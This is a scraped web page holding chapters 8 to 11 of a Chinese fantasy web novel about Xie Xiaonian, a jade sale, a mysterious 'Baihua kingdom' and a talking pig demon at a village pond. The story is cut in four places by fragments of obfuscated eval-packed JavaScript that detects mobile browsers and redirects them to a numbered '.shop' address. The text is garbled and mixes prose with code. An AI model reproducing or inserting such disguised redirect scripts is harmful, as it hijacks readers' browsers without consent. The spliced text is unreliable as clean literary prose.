l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929566|192758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己开了眼。 深吸一口气,谢小年像丢垃圾一样把手机提起来丢进了装药的袋子里。 这样就好了,眼不见为净。 她心心念念的绿叶菜很快上来,是真正的白灼青菜,除了盐味和菜味,再也没有其他的味道,老板照顾谢小年的病情,连油都没有放。 很健康,很淡,比这味道再淡的,除了白开水,谢小年再也想不出来任何东西了。 她嘴里的咀嚼的动作变缓了,把菜咽下去,突然没由来问了老板一句,“二桥村的村徽,是六芒星吗?” 老板被问得一愣,看着谢小年充满了疑惑,“啥村徽?” 老板皱眉,恍然大悟拍手,“妹妹你是不是想问校徽?我们家小孩都没在二桥读书好多年了,我也不记得他们的校徽是啥了哦。” “你们的工作还研究小学的校徽?” 老板知道谢小年的工作好像跟收集什么数据有关系,但对于校徽都要收集,很是震惊。 “不是不是,”谢小年摆手,“是水池,六芒星的水池。” 其实她更想问的是,水池修成六芒星的形状,是不是跟村里的什么信仰有关系,还有水灾记载里的化蛇。 真是什么信仰的话,最大的可能,就是体现在村徽上了。 “水池?蓄水的那个水池?村中心那个?”老板想起来,一副恍然大悟的样子,“那我知道啊。” 谢小年的呼吸悄悄深快了些,没想到这么快就要问出由来了吗?背后是不是藏着什么不为人知的神话故事? 她放下筷子,默默坐正,已经做好准备听到一些掩盖在时间里的真相。 “那个水池啊。” “嗯嗯,就是那个水池。”六芒星水池! “修成六个角的星星那种。” “嗯嗯。”就是那个形状。 “当然是因为——” “是因为什么?”鬼怪?信仰?祭拜? “当然是因为好看啊!前些年不是提倡乡村旅游,农家乐嘛,村支书在村里开会,最后呢,就拿钱修了我们的水池和公路,方便游客打卡,前两年迁村的时候,还因为水池也算个旅游景点了,还给我们多发了点钱……” 谢小年沉默不语。 竟然是这样,居然是这样!果然是这样! 谢小年深刻的检讨自己。为自己准备好听到一套“被辜负,被打压,愤而投河成为化蛇,诅咒发生洪水”的故事,而感到无比羞耻。 她早该想到的,什么神话鬼怪啊喂,是乡村振兴好吗! “你也去看了那个水池了吗,妹妹?”老板提起来的时候很是爽朗自豪, “那确实是一个很少见的大泉眼呢,水呢,是山上下来的地下水,特别凉快。我们村那一块,就是因为修了那个水池,夏天要比周围的地方凉快好多!” “你们是不是有专门形容这种现象的,叫什么调节的?” 谈到这样的问题,谢小年总算有一种回到正轨的感觉了,她有些汗颜,明明应该是她的专业才对。 “水的热力调节?水体热缓冲?水体的气候调节?” 老板对谢小年竖起来大拇指,说她很厉害。 谢小年顿时更加心虚了,不,她不厉害,她瞎想乱想比较厉害。 8. 第 8 章 可是她看到的东西,那又要怎么说? 谢小年有点尴尬,憋了半响还是没憋住,故作镇定地咳了一声,“我看村志里,有说什么化蛇,妖怪之类的……” 老板一下子警觉起来,伸手在自己嘴上一挡,做出噤声的动作,声音压下去,“大白天的,不要说这种不利于社会主义的事情。” 老板也咳了一声,声音继续压低, “那是他们老辈子的说法,我们早就不信了。我小时候水池还没修整好,还是泉眼的时候,爹妈在水边上上香,到我们这一辈,谁还去上香?过年往水里丢鞭炮玩倒是多,不什么事情也没有吗?可见那些说法是骗人的。” 谢小年点点头。“原来是这样。” 她为水池里的化蛇感到一丝悲凉,当然,更多的还是幸灾乐祸,哈哈哈,那个一米左右的影子,原来这些年就是过的。 它那一头比杂草还乱的头发,原来是因为被人拿鞭炮崩到了了吗。 谢小年的嘴角微微上扬起一个幅度,慢慢扩大。等到她自己发现,有些懊恼地觉得这样不对,勉强压下去,然后又想起来那样乱糟糟的头发,没忍住嘴角又上扬。 天呐,她怎么变成一个这样冷心冷肺,不近人情的女人,她竟然变成了这样一个坏女人。 没错,她就是这么坏! 该死的小妖怪,感情是被原来的村民吓狠了,在其他地方受挫反而在她身上找存在感呢,一开口就是要给它咬一口,一动手就是掐她脖子,回归墟去好好改造吧! 可是,作为一个在山海经里赫赫有名的妖怪,为什么即使被村民拿鞭炮把头发都炸崩了,却依旧不曾离开? “老板,小炒黄牛肉付钱了!”一桌吃饭的客人站在收银台看着这边。 “来了来了。”老板回复完,转过头,“妹妹,你先吃哦,吃好了叫我来给你打包。” 谢小年胡乱点点头,心思有些不在食物上。有些想法一旦生了根,就会在脑海里盘旋折叠着环绕。 她问自己,如果是她,一个地方生活得一点都不舒服,会依旧一直待在那里吗?答案当然是否定的。所以,那只化蛇是为什么呢? 明明到最后已经虚弱变成了半透明的影子,却依旧没有离开,是不愿意离开,还是根本就不能离开? 在路上谢小年一直在想这个问题。可惜的是她对民间神话传说的了解还是太少了,两眼一抹黑,什么也想不到。她甚至起了几分想法,想要找郑姐问一问这里面的门道。 作为一个准备改行的人,郑姐,应该会给出一些比较合理是推测吧……算了。 谢小年深深叹了一口气。想起来郑姐光是看见一条拴在手腕上的红绳就能热心肠地想要带她去道观里求姻缘,要是她真敢问,都不敢想象在这个问题之后会发生些什么。 直到关上家里的大门,谢小年终于从这个疑惑里把自己抽离出来了。 当然,并不是因为回到家里变得轻松愉快,恰恰相反,是因为她家里大麻烦的威胁,已经远远高于了已经回去归墟重造的化蛇,能够带给她的威胁。 柔光的白色地板上,玉质的水杯还倒着,在灯光的照射下,隐隐约约能够看见地板上模糊的影子。 它的旁边,是种着植物的同样材质的花盆。 说真的,谢小年甚至有片刻恍惚,用玉做的盆养花养草,皇宫里的皇帝都没有这种待遇吧,那她算什么?当代小皇帝?那真的很有钱了。 谢小年浑身哆嗦一下,赶紧把脑子里不知道发散到什么地方的脑回路绕回来。再次看向这些东西,眼神明显发生了变化。 她蹲下去,把玉盆端起来,倒扣向下抖。 养的绿植很久没浇水了,土壤干结成一块,这一抖,很容易就连土带草全部抖出来掉在地板上。 一个花盆,一只水杯,还有手机壳上的玉片,是的,谢小年连手机壳上的玉片都拿小刀小心翼翼划拉下来了。 拿了个结实柔软的包把三样东西都装好,谢小年雄赳赳,气昂昂地出了门。 开玩笑,就她如今连骑共享单车回来的钱都还没付的人,还有什么闲心去仔细思考,仔细回想这些东西到底是从哪个犄角旮旯里冒出来的吗? 卖掉,通通都卖掉!卖了换钱! 可是空空城还是太空了,要找到一个正规收玉石的,难度不亚于登天。 谢小年只能退而求其次,七拐八转终于在询问了四五个地图软件和社交软件后,找到了一家开在小区周边的名表首饰店。 其实说是名表首饰回收店更加合适。 店面看上去有些旧,墙面上有些地方甚至长出些许青黑色的青苔。也没有很显眼的招牌,只有推拉的玻璃门上贴着几行大字。 左边是“名表回收,童叟无欺”和一个更大的红色“推”字,右边是“珠宝首饰回收,包您满意”和一个“拉”字。 很朴素。谢小年看着玻璃门上的字,同样很旧,有些褪色,某些字还缺了角。 透过玻璃门,能够看见里面有一扇巨大的屏风,挡住了路上行人的所有视线。虽然这个地方,本身也不会有什么行人就是了。 她踌躇地在门外面转了好几圈。空空城不是新建起来的城吗,竟然也会有这样老旧的建筑?她合理怀疑,这一家名表首饰回收店,可能比空空城的年纪还要大,它真的可靠吗? 谢小年只好再三核对店面信息和地图上的位置信息。是的,她没有找错。 虽然是首饰名表回收店,但是谢小年想,首饰不也是金银珠玉什么的吗?所以,玉做的花盆和杯子,肯定也是能收的。 不能收怎么办? 那谢小年也没法了,咬咬牙,来都来了。找了好久,空空城就找到这么一家,就当是碰碰运气。 显然她今天的运气很不错。 按照玻璃门上的指示,推开门,绕过那一扇巨大的屏风,映入眼帘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929567|192758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,就是各种各样的东西。手表首饰只是很小一部分,被放在玻璃柜台里。柜台后面,还有满架子的老书和花瓶,瓷器什么的。 谢小年给自己在心里默默竖了个大拇指,她果然没找错,天才就是这样啦,虽然门上只写了名表首饰回收,但是综合各方面的信息,她得出的结论果然没有错,这个地方,就是可以收花盆杯子。 店主也很符合她对那种老当铺掌柜的印象,一把躺椅放在柜台和书架狭窄的间隙之间,身上盖着一条毛毯。 也许是为了彰显自己的财力,和可能是店里收了太多东西确实卖不出去,店主的脸上还覆盖着一本书,用线穿在一起的那种书,看起来年份也不轻了。 谢小年觉得很震惊,一时间居然忘记忘记了把老板叫醒,她现在满心的疑惑的都是,这个书盖在脸上,不会有味儿吗? 更何况是在空空城这种地方,又是初秋,正是雨从瓢泼倾盆转换到绵绵密密,没个停歇的季节,书难道不会发霉吗? 大概是她震惊的目光太过灼热,哪怕是被书挡着,店主还是若有所感,迷迷糊糊醒过来,把脸上的书一推开,眯着眼睛看见柜台外站了个人。 是有个人。居然有个人!这个空得连只猫都少见是地方,今天居然来了个人! 谢小年亲眼看着老板的神态从刚刚睡醒的迷茫,在某一瞬间突然爆发出惊人的喜悦。 他几乎是从躺椅上弹跳起来,过道太窄?没关系,伸脚把躺椅往旁边一推,店主摆出来一个标准得不能再标准的笑容,“请问有什么需要的吗?手表首饰,古书花瓶,瓷器陶器,都出售。” 谢小年笑笑,把包放在柜台上,“我来卖东西。”怎么可能会是买东西呢,毕竟她分钱没有。 “这样啊。”老板有些失望,连笑容都淡下去不少。 “那我看看。”到底是生意上门,哪有不做的道理。 店主抬眼看看谢小年,一个年纪不大的小姑娘,又看到柜台上的包,粉色毛绒绒的卡通形象。看起来,不像是会用奢侈品的形象。 “我们这儿只收能够保值的东西,不收这种包哦妹妹,如果包里也是这些东西,我们也是不收的。” 现在的年轻人好像都喜欢什么小卡之类的,他见侄女买过,贵得很,但是那种东西对他们这一行来说,就是完全不保值的。 面前的姑娘呢,看起来和他的侄女一个年纪。一想起来侄女建议他把她手里一叠小卡收了,店主没由来手一抖,打开谢小年粉色毛绒包的动作就更加小心。 “不是包,是玉。” 谢小年看着老板的动作,向他保证道。 是不是玉石,她还是分得出来的。 “是玉?” 老板摸到了东西,倒吸了一口冷气,手又抖了一下,小心翼翼把那个花盆从柜台上举到和眼镜同等高度的位置。 “妈呀,真的是玉。”老板声音有些发抖,又重复了一遍。 9. 第 9 章 谢小年点头,“当然了,老板,难道我还会骗你吗?” 老板举花盆的动作变成了抱,动作间有些不可置信。 这么上等的料子,就这么拿个包装来了? 愣神间,谢小年已经把那个粉色毛茸茸的包翻过来,杯子和玉片和柜台玻璃碰撞,发出清脆的一声“叮”。 “粗俗!粗俗!”老板面色大变,连忙伸手把另外两块玉料子也抱起来。 那样子,大概跟抱孩子的谨慎程度差不多了,老板细心用手指摸了摸被磕碰到的地方,心疼得眉头皱起来。 谢小年……谢小年也心疼地抱着她毛茸茸的粉包,温柔安抚。 装东西的时候都没发现,包里面那层布料破了一道手指长的口子,还提了这么久,旁边也有些脱线了。 看来一会儿还要去裁缝店找找有没有同色的线,得补上才行。 这可是刚考上研究生的时候老师送她的入学礼物呢,这几年跟着她风里来雨里去的。 一抬头,发现老板盯着她,神色里似乎有些不满。 谢小年摸不着头脑,这么看着她干吗? “老板?” “……没什么。”老板深深叹了一口气,看看自己手上的玉石,看看谢小年手上毛茸茸的包。 果然还是小姑娘,什么都不懂!包值几个钱,丢了西瓜捡芝麻。 “你那个包……” “包不卖!”老板的话还没说完,被谢小年连忙打断。 “我知道我知道。我是想说,你的包还挺宝贝的。”老板的话里带着善意的调侃。 “那可不。我老师自己做的包。这个粉色的最好看,当年跟师兄打了一架才抢到。”谢小年得意地笑了。 老板这下子没话说了,讪笑两声,“那很抢手啊。” 那是当然,后来没过多久,老师就不带学生了,这是老师手里最后一批送给学生的手工包。 老板摇摇头,肯定谢小年总有一天会发现,这个包不会比手上的玉料更值钱。 “鉴定证书呢?我看看。” 谢小年露出牙齿,嘿嘿一笑,对着老板摇摇头。 “没有鉴定证书?” 这么好的料子,怎么会没有鉴定证书呢?老板在一瞬间脑海里闪过无数想法。 没有鉴定证书,这就很可疑了,莫非是来路不正?天老爷,谁知道这些年为什么来路不正的贵重物品越来越多!难道是盗墓盗的? 老板高度警惕,仔细查看手上的花盆,这这做工,这形状,这雕刻!他手指颤抖着,不可置信摸了一遍又一遍。 这真是——好烂的手艺!那基本可以排除掉盗墓盗出来的可能了。手艺这么烂的东西给人陪葬,做这个东西的工匠九族都得被带下去。 “没有鉴定证书,那这个很难办啊。”老板看着手里的东西,虽然手艺真的很烂,但是玉质真的好,到时候改一改,改个手镯什么的,也足够赚回本了。 只是,谁会嫌自己钱多了不是。 “小姑娘你应该也听过,这玉啊,主要是品种,你这个呢,分辨不出来品种,也没有鉴定证书,虽然料子好,但贬值也会很大。不如这样,我有个朋友呢,就是做鉴定的,我现在让他过来看看。” 谢小年嘴角的弧度淡了下去。这桩生意不好做。不是东西的问题,而是人的问题。 她抬眼,透明玻璃柜台里穿出来的光线,照到了老板的眼底,她看出来那里面,不是不感兴趣,而是,太感兴趣。 真是的,谢小年有些无奈,大意了,她怎么忘了文玩行业是什么情况。 “那很好啊,”谢小年说,“先请老板的朋友过来掌掌眼,明天我再送鉴定中心去,我年纪小嘛,到时候要是鉴定中心的人骗我,我心里也有底了。” “真是不好意思啊老板,我也接受不了贬值太严重,这桩生意恐怕做不了了,但是老板你放心,请您朋友鉴定的钱,我来出!” 谢小年笑着,其实心里在滴血,出钱出钱,她哪里来的钱出!她共享单车的钱都还没付。 “这样啊。”老板也笑着,心里在滴血。“没事,他就是过来帮个忙,这个钱怎么能让你出?免费鉴定!到时候如果你要卖掉,先考虑考虑我们这儿?” “一定,一定。”谢小年松了一口气。 “行吧。”这是彻底没希望了,老板反而平静下来,又恢复到一开始不冷不热的待客态度,“店里的东西也卖,随便看看。” 谢小年才不管老板态度怎么变,笑眯眯再次为免费鉴定道了谢,在店里左右转。 虽然门面是破,但这里和小型博物馆差不多大,东西种类也多,多到谢小年怀疑不正规的程度。 “老板,你知道黑市吗?我看那些小说里都流行这个,还有盗墓什么的,特别帅。”谢小年轻手轻脚再次走到柜台,声音幽幽。 刚躺下去的老板一个翻身就坐起来了,沉默地从身后的架子上掏出来一把老书,塞进谢小年手里。 “人一会儿才到,你没事就读书。” 你多读点书吧,毕竟,人傻,就要多读书。 谢小年觉得,自己可能是被人骂了。 想开口理论,老板已经重新躺回了他的椅子上,脑袋上罩着一本书,那意思很明显了,没事别打扰他。 谢小年看着手上的书,也沉默。 她安慰自己,那也行吧,多读书毕竟不是什么坏事。 能传下来的老书大概也就那么一些,有收藏价值的就更加少了,谢小年看着自己手上的,觉得这个世界确实还是太巧了。 《山海经》,无名老书,第二本无名老书。 她默默把山海经放回柜台上,伸手搓了搓手臂上泛起来的鸡皮疙瘩。 频繁地遇见同样的东西,这可不是个好兆头啊。 幸好她谢小年从来都是一个识时务的英雄豪杰,打不过,她难道还逃不过?摆在她面前了又怎么样呢,她不打开,不就等于没有出现过吗? 比如她手上这本无名旧书,一看就比什么山海经深奥得多,看看这书页,就是老,就是有底蕴,看看这篇名起的,天瑞,一看就代表很祥瑞。汤问,一看就是有大智慧。 再看看这内容,“归墟……八纮九野之水,天汉之流,莫不注之。”嚯,如此宏大!“其上观台皆金玉,其上禽兽皆纯缟。”嚯,如此奇峻! 还有红笔批的注释,果然,和她一样喜爱本书的有眼光的人的出现了。 “归墟聚天下之水而不归,五仙岛聚归墟之水而不陷,仙人长生,金玉纯缟,灵净不染,似云如幻,故以白化国为名。” 故以,白化国为名。 你好,我来自,白化国。 谢小年嘴角的弧度慢慢扩大,这到底谁写的故事啊,写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929568|192758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得真烂,世界上怎么会有长生的人呢,当然,阴曹地府就更加没有了,真是,太好笑了。 这个作者和批阅的读者,才是应该多读点书吧。 “妹妹,妹妹!”老板的声音有些惊恐,“我是不是不该让你多读书的?我的错,我的错,嗨呀,人老了,这嘴的,就是管不住,管不住啊!有什么冒犯到的地方,你骂回来就成,别哭,别哭啊!” “啊?”谢小年抬头,迷蒙的光线有些不舒服,伸手一抹,脸上有眼泪,好大几颗。 “老板,”谢小年吸鼻子,“你这是《山海经》外传吗,这神话故事真得劲啊,怎么还给我看哭了呢。” 老板觉得更加惊恐了,触及到谢小年在脸上抹了一把又一把的眼泪,顿时妥协,“外传外传,这就是《山海经》外传,绝对不是什么《列子》《老子》《庄子》的。” 没关系的,哪怕把《列子》指为《山海经》外传也问题不大,可是谢小年继续在这里哭,被别人发现,然后举报他的店有问题,他就得真的进局子里蹲着,那问题可就大了! “哎呀,我就说嘛,这神话故事写得也太感人了。古人真是太有才华了,连神话故事也写得这么逼真,跟真的似的,给我看哭了。” 到底是哪里感人了?到底是哪里? “对对对,真感人啊。”感动得他都要哭了。 “拿着拿着!”老板抢过书,一把塞进她的包里,“为了我们都觉得感动的故事,我把书送给你,妹妹你换个地方看成不?” 谢小年被老板惊恐的神情逗笑了,只是配上满脸的泪痕,怎么看怎么诡异。 “真是不好意思,让您见笑了,也麻烦您的朋友了,今天可能做不了鉴定,东西我先带回去,麻烦您告诉朋友一声,耽误他时间了。” 真是糟糕啊,谢小年都不知道为什么自己脸上是泪水止都止不住,莫名其妙,难道她得个肿瘤,连泪腺都都到影响了? 真是稀奇,不知道段宜医生愿不愿意让她作为实验体参与这方面的研究,减轻一些她的治疗费用。 老板小心翼翼,“真的没事?” “真没事,能有什么事?”难道白化国还能是真的?难道世界上还真的长生的仙人? “那——”老板脑子一抽,问谢小年,“你的玉还卖吗?” 谢小年擤了一把鼻涕,泪水继续流,她说,“卖,当然卖。毕竟,我是真的很缺钱啊。” 她不奢求长生,只要健康一点,无灾无病,再活得长一点就行了。而这一切最需要的,不就是钱吗?现在有赚钱的机会,她为什么不要? 谢小年走在路上。 空空城又这样,下雨。其实也不好怪空空城,入秋了,到处都是这样的天气,一场秋雨一场寒的。而空空城呢,在这样一个平平无常的日子里,甚至大发慈悲把稀里哗啦乱下的暴雨变成了像云雾一样笼罩的绵绵雨,连雨伞都不用。 绵绵的雨,就像云,像雾,像故事里如云似幻的白化国,像那个神秘的男鬼。 谢小年眼泪流得心脏不舒服,蹲在地上,那个到底是什么人呢。 马路干干净净,在水汽的滋润下恢复成了明亮的黑色,谢小年从包里把书翻开,往后翻,却再也没有找到其他的东西。 她是不是,忘记了什么东西。 就好像,那个人说,“我知道,你以前就这么说。” 10. 第 10 章 “擦擦吧。” 一张纸巾突然出现在脸边。 是谁,是……吗? 谢小年眨了两下眼睛,把眼泪拨开,抬起头,勉强能看清楚面前的人。 原来不是。 唯一相同的,恐怕就是性别了。 是一个男人,一个笑得很勉强的男人。他递给她纸巾,装出来一副很担忧的样子,但恐怕连他自己都不清楚,他周身带着对她的敌意和愤怒。 “谢谢你啊。”敌意也无所谓。 谢小年没有犹豫,接过纸巾,擤了一把鼻涕。 对方嫌弃地默默退了一步,不着痕迹翻了个白眼,动作很是隐晦,他相信谢小年如今的状态是绝对发现不了的。 可惜的是,谢小年看见了,连他嘴角抿紧成了一条直线都看见了。 “你看起来好像很需要帮助。”对方深吸一口气,脸上依旧带着虚伪的笑容。 谢小年浑身的汗毛都要竖起来,如果说她身上还有什么值得惦记的,恐怕也只有她身体里还算完好无损的器官了。 “嗯,是这样的,我骑车撞到一个老大爷,他张口就要二十万,我连车都赔进去了,还差十九万九千九百九十九。” “善良的好心人,你愿意帮我支付这一笔费用吗,我一定把你当祖宗一样供着,每天给你烧三炷香。” 对方的笑容瞬间凝滞住。对谢小年的反应预料不及,而后嗤笑。 是了,如果不是这样睁着眼睛说瞎话丝毫不感到心虚的能力,怎么会把那个人骗得团团转呢。 “善良的好心人,难道你不能帮助我吗?”谢小年捂着袖子,声音里带着颤音,“也是,我怎么如此异想天开,竟然奢求一个陌生人帮我支付这样一笔巨额的费用。我还是离开好了。” 说完,谢小年嗖一下站起来就快步朝着背对着他的方向走,手机已经在口袋里悄悄按下来报警电话,就差一个拨通。 “等一下。”他叫住谢小年。 谢小年的脚步变得更快了,丝毫没有想要停留的想法。 笑话,他叫她停下就停下,那她岂不是很没有面子? “我知道白化国在哪里。” 谢小年的脚步停止了。 背后的人轻笑,他就知道。 “抱歉,我不知道你说的是什么意思,白化国是什么,能给我十九万九千九百九十九吗?如果是这样,我愿意去白化国打工。” 谢小年转过头,脸上的真诚不似作假,加上还没擦干净的泪痕,看起来越发像一个被诈骗的小可怜。 “你别装了,谢小年,你真的不清楚吗?”男人的语气没有任何耐性,谢小年都害怕他下一刻能直接过来给她一拳。 谢小年表情认真,“是的,我真不知。” 天底下居然能有如此虚伪的人?还是人类本身就是如此虚伪? “我今天才刚刚从书里知道白化国的名字而已,甚至只是来自一个读者的批注,恐怕只是读者一时间灵感大爆发,编造了这样一个地方。原来白化国竟然是真实存在的吗?真是太神奇了。” 男人看着谢小年的脸上充满了质疑,都到这种程度了,她居然还在装。 “二桥村的水池,我建议你去看看。” 谢小年愣了一瞬,随后从容点头,“好的好的,我一定会去看的。” “你过去就知道了。” “好的好的,我一定会过去的。”她就说说而已。 “你可以跳下去看看。” “好的好的,我一定会跳下去看看的。”她疯了吗她往水里跳,她还打算多活些年。 “谢小年。”对方的话里带着些咬牙切齿和痛恨。 “好的好的,我……诶?”被人发现她一个字嗖没听进去了怎么办。 但谢小年不愧是谢小年,连一丝尴尬都没有,继续睁着眼睛说瞎话,“我知道了,我感谢您,白化国就在水池里是吧?这可跟神话故事一样迷人,我一定会好好揣摩您给的消息的,再见再见。” 谢小年微笑着朝他挥了挥手,然后离开的速度更加快了,走出去几十米,直接跑起来,没多久就没有了身影。只留下男人独自站在原地脸色阴沉地生气。 良久站在原地,神色阴沉地看着谢小年离开的方向。真是,无比想要弄死她。 “老大,我们在这边犯法,也是会被法律制裁的。”回收店老板不知道什么时候站到了男人的身侧。 听完这句话,男人阴沉的气质停住,随后像糖浆一样化开。 他愤恨将手里剩下的纸巾丢在地上,语气狠恶,“我难道不知道,如果不是,我早弄死她八百回了。” 老板继续善意地小心提醒道,“如果你真把她弄死,要是那个谁真的罢工不干了,我们手里的活,估计就永远丢不出去了。而且,我们的进度是不是太快了,就这样让她知道白化国,真的不会引起她怀疑吗?万一她并不按着我们的计划走怎么办?” “那我有什么办法,我还能按照她的头让她去白化国吗?!该死的,一个死恋爱脑,一个死骗子,我真是服了!” 男人此时脸上的表情已经完全变成了愤怒,嘴里骂了两句,用力在地上那张纸巾上踩了两脚,走进回收店,用力关上门。 老板看着地上被踩扁的纸巾,叹气。可怜的纸巾。 然后拿起门口角落里的扫把,把纸巾扫进了垃圾桶里里,叹气。可怜的自己。 怎么摊上这么个老大?呸呸呸,他在想什么,居然有这种想法出现!老大还不好吗?就算有处理到一百年以后也处理不完的工作,也从来没有压榨过他们,而是自己一个人不眠不休工作。 算起来,老大恐怕得有个几十年没有合过眼了,那这一切都完全能够解释得通了,一个两眼不闭就是干活,缺乏睡眠的工作者,脾气变得多么暴躁都是正常的。 更不要提他们老大本身就不是什么情绪很稳定的人。 听说白化国的那位脾气就很稳定,如果能够早点来接替老大的工作,那就太好了。祈祷吧。 才放下扫把,老板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929569|192758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手机响了,对面言简意赅,“又跑了一个。” 老板的脑子顿时炸开,每一寸大脑回沟都被抚平,可即使是这样,也不足以让这个消息从光滑的大脑上滑过去。 他抹了一把脸,觉得要完蛋。工作已经足够忙了,现在又添了一份,不知道老大得多生气。 果不其然,没过多久,店里就传出来男人愤怒的吼声,“让他们去找剩下半颗玉珠,让谢小年赶紧记起来!立刻,马上!这个工作老子真是一秒钟都不想干了!” 谢小年抱着背包一路狂奔,直到走出那一大片居民区,站在空旷无人的马路上,回头也没有看见任何跟踪的人,脸色才变正常。 过了红绿灯,她就朝着与二桥村那个破水池完全相反的方向去了。 开什么玩笑,她怎么可能会去那种听起来就明显不对劲的地方?送死? 当然是回家好好睡一觉了。 只是—— 刚迈开步子,谢小年的手机疯狂响起来。 “小年小年!”同事的语气很急促,“王婆婆家的猪冲破猪圈,掉到二桥村那个废弃的水池里去了,王婆婆要下水捞猪,我拦不住了,你住的地方不是离二桥近?你赶紧过来!” 谢小年脑子里只浮现出两个字,完了。一股阴寒缠绕她,从脚底直冲头顶。 又是,那个水池。 同事那边情况很焦灼,“婆婆,您等等,!我的同事马上就到了,我们下去给你捞猪,你别去,再等十分钟,我发誓就十分钟!” “哎呦,我不活了,我的猪!我的钱呐!” “怎么会掉到那个里面去?二桥村早就迁村了,最近的迁居点里那个也就几公里,为什么会掉到那里面去?就算真的是猪掉进水里了,难道不应该先报警吗?” 同事还没来得及说话,王婆婆已经先一步听见谢小年的质问并做出来回应, “哎呦我不活了!我的猪就是我的命根子啊,我的钱呐!你们不愿意是吧,让我亲自下去!就是淹死了,我也要我的猪!” 同事把手机拿远了些,低声对谢小年吐槽,“跟见了鬼似的,那头猪直愣愣冲开猪圈就往二桥这边跑,然后掉到水里去,掉进泉眼就不见了,估计被冲进地下暗河里去了。我说已经报过警了,王婆婆不听,一定要她的猪,拉都拉不住,我没办法,你赶紧过来,我们装个样子,等警察过来协调。” 这下子谢小年还有什么话说,只能木愣愣回了个“好”字。 天底下怎么会有这么巧合的事情? 这恐怕是刚刚那个男人给她做的局。 到底是什么样的大势力或者是超越自然的力量,竟然连猪都能调动。 如果知道谢小年的怀疑,此刻已经回去继续处理工作的男人恐怕要气得跳起来。 这件事跟他可一点关系都没有,难道他们就没在找那头猪吗? 是的,他们也在找,并且他们恐怕比谢小年如今的心情还要崩溃。毕竟,被猪拿着嘴筒子顶来顶去,恐怕是个人都会觉得崩溃。 11.第 11 章 “合寙,你好歹是山海经鼎鼎有名的妖怪,如今不仅真的变成猪,只能拿嘴筒子顶人,何必呢,不如跟我们回去,好好做你的妖怪不好吗?” “放屁!我好不容易逃出来,还回去,不能吃不能喝,等着饿成尸干被你们做成标本?还是丢我去填归墟的大漏?” “嘴筒子怎么了,你们还不是被嘴筒子顶得一点办法都没有?” “你们不要以为我不知道,化蛇前几天才被你们抓回去关在牢里,还好好做妖怪呢,你们能让我当妖怪吃肉?恐怕我也要被关进牢里去吧?” “吃我一嘴筒子!我顶,我顶,我顶!” 一群人手忙脚乱,半天都没能把合窳抓到手。 至于谢小年,紧赶慢赶,终于在同事差点拉不住王婆婆的时候,赶到了二桥。 谢小年放下包,赶紧从身后抱住了王婆婆,把她往远离水池边的地方拖。 “别拉我,你还我的猪啊!” “就一只猪而已,大娘,我都说了我可以折成现金给你!”同事要被逼疯了。 “只要那个,只要那个!” “好好好,警察马上来了,到时候我们一定把猪给你拉上来行了吧!”谢小年极力保证道。 王婆婆一听到警察这两个字,挣扎的力度更加大了,谢小姐一时不察,竟然被她甩出去。 “小年!” 谢小年没站稳,一脚踩空,就往身后的水池里倒。 可是这个距离,却摔不进水池里,反而会磕到水池边缘坚硬的石头上。 她今天就要命绝于此了吗?不,绝对不行! 下一刻,一头猪突然从水池里窜出来往外逃,哇哇乱叫着,一个嘴筒子把谢小年顶了回去,谢小年脑袋昏昏的在地上滚了两圈,最终摔在了平地上 而那头猪,好像也被吓坏,两只前蹄趴在水池岸上,惊疑不定看着眼前的景象。那一双眼睛,仿佛已经具有智慧。 当然是有智慧的,传说里象征着水患的妖怪合寙,怎么可能是一只普通的猪呢。 “谢小年?” 水里又咕噜咕噜冒出来一个脑袋,谢小年听见动静,抬头一看,反而把那个突然冒出来的脑袋吓到了,他捂住自己的嘴,又沉到了水里消失不见。 “原来这就是谢小年?”合寙看了看转眼间消失不见的人,转头,看谢小年。 谢小年觉得自己大概是要疯了,不然怎么能够听见一只猪在讲话。 “小年,你还好吗?谢天谢地,这只猪终于从水池里出来了,王婆婆!你看,我就说你的猪没事吧!” 王婆婆盯着水池里的猪,浑身一抖,止不住跪了下去,“大仙——” “闭嘴!” 王婆婆顿时噤声。 “婆婆你又怎么了?这只猪在叫,是不是在水里上不来?我帮你拉一把,您别再往水里冲了!” “别去!” “别去!” 谢小年转头,若有所思看了一眼和她一起说话的王婆婆。 看起来,能听到这头猪说话的人,不止她一个。就是不知道,水池里刚刚沉下去的那个脑袋,王婆婆是不是也能看见了。 